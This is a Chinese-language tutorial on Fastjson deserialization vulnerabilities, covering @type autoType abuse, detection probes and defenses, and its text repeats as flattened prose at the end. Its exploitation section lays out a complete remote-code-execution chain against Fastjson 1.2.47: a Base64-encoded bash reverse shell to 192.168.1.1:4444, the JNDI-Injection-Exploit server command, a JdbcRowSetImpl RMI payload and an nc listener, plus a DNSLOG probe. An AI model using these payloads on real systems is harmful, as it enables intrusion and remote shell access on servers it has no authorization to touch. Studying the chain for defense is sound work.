我对Fastjson 漏洞的理解
字数 1048 2025-08-10 16:34:28

Fastjson漏洞分析与利用教学文档

一、Fastjson简介

Fastjson是阿里巴巴开源的一款高性能JSON处理库,主要用于:

  • 将Java对象序列化为JSON格式
  • 将JSON字符串反序列化为Java对象

序列化与反序列化概念

序列化:将对象转换为可存储或传输的字符串格式

Person person = new Person("John", 30);
String json = JSON.toJSONString(person); // 序列化

反序列化:将字符串重新构造为对象

Person person = JSON.parseObject(json, Person.class); // 反序列化

二、Java原生序列化机制

Java原生序列化要求:

  1. 类必须实现Serializable接口
  2. 未实现该接口的类序列化时会抛出NotSerializableException

示例:

public class Person implements Serializable {
    private String name;
    private int age;
    // 构造方法、getter和setter
}

三、Fastjson特性与@type字段

Fastjson使用反射技术进行序列化/反序列化,支持通过@type指定目标类:

{
    "@type": "com.example.Person",
    "name": "John",
    "age": 18
}

@type的作用:

  • 明确指定反序列化的目标类
  • 解决多个类有相同属性时的歧义问题

四、Fastjson漏洞原理

漏洞核心:攻击者通过控制@type属性,指定Java类库中的危险类并操纵其属性,导致任意代码执行。

漏洞利用链

  1. 通过@type指定可被利用的类(如java.net.Inet4Address
  2. 控制类属性触发恶意行为(如DNS查询、JNDI注入)

五、漏洞探测方法

1. 报错探测

发送不完整JSON数据观察返回:

{"age":18

2. DNSLOG探测

验证Fastjson是否可出网:

{
    "x":{
        "@type":"java.net.Inet4Address",
        "val":"attacker.dnslog.cn"
    }
}

六、漏洞利用实战

环境要求

  • Fastjson 1.2.47版本
  • Java 1.8环境

利用工具

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

攻击步骤

  1. 准备反弹Shell命令(Base64编码):
bash -i >& /dev/tcp/192.168.1.1/4444 0>&1
# 编码后:
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEvNDQ0NCAwPiYx
  1. 启动JNDI服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "bash -c {echo,YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" \
-A 192.168.1.1
  1. 构造恶意Payload
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.1.1:1099/exploit",
        "autoCommit":true
    }
}
  1. 监听端口
nc -lvnp 4444

七、防御措施

  1. 升级Fastjson到最新安全版本
  2. 关闭autoType功能
  3. 使用白名单机制限制可反序列化的类
  4. 对输入进行严格过滤

八、技术要点总结

  1. Fastjson通过@type实现动态类加载
  2. 漏洞利用依赖JNDI注入和RMI/LDAP协议
  3. 攻击链:控制类加载 → 触发恶意行为 → 实现RCE
  4. Java 8u191+版本默认关闭JNDI远程类加载

附录:关键类说明

  1. com.sun.rowset.JdbcRowSetImpl:漏洞利用常用类
  2. java.net.Inet4Address:用于DNS探测
  3. javax.naming.InitialContext:JNDI查找入口点

注意:本文仅用于安全研究学习,未经授权测试他人系统属于违法行为。

Fastjson漏洞分析与利用教学文档 一、Fastjson简介 Fastjson是阿里巴巴开源的一款高性能JSON处理库,主要用于: 将Java对象序列化为JSON格式 将JSON字符串反序列化为Java对象 序列化与反序列化概念 序列化 :将对象转换为可存储或传输的字符串格式 反序列化 :将字符串重新构造为对象 二、Java原生序列化机制 Java原生序列化要求: 类必须实现 Serializable 接口 未实现该接口的类序列化时会抛出 NotSerializableException 示例: 三、Fastjson特性与@type字段 Fastjson使用反射技术进行序列化/反序列化,支持通过 @type 指定目标类: @type 的作用: 明确指定反序列化的目标类 解决多个类有相同属性时的歧义问题 四、Fastjson漏洞原理 漏洞核心:攻击者通过控制 @type 属性,指定Java类库中的危险类并操纵其属性,导致任意代码执行。 漏洞利用链 通过 @type 指定可被利用的类(如 java.net.Inet4Address ) 控制类属性触发恶意行为(如DNS查询、JNDI注入) 五、漏洞探测方法 1. 报错探测 发送不完整JSON数据观察返回: 2. DNSLOG探测 验证Fastjson是否可出网: 六、漏洞利用实战 环境要求 Fastjson 1.2.47版本 Java 1.8环境 利用工具 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 攻击步骤 准备反弹Shell命令 (Base64编码): 启动JNDI服务 : 构造恶意Payload : 监听端口 : 七、防御措施 升级Fastjson到最新安全版本 关闭 autoType 功能 使用白名单机制限制可反序列化的类 对输入进行严格过滤 八、技术要点总结 Fastjson通过 @type 实现动态类加载 漏洞利用依赖JNDI注入和RMI/LDAP协议 攻击链:控制类加载 → 触发恶意行为 → 实现RCE Java 8u191+版本默认关闭JNDI远程类加载 附录:关键类说明 com.sun.rowset.JdbcRowSetImpl :漏洞利用常用类 java.net.Inet4Address :用于DNS探测 javax.naming.InitialContext :JNDI查找入口点 注意:本文仅用于安全研究学习,未经授权测试他人系统属于违法行为。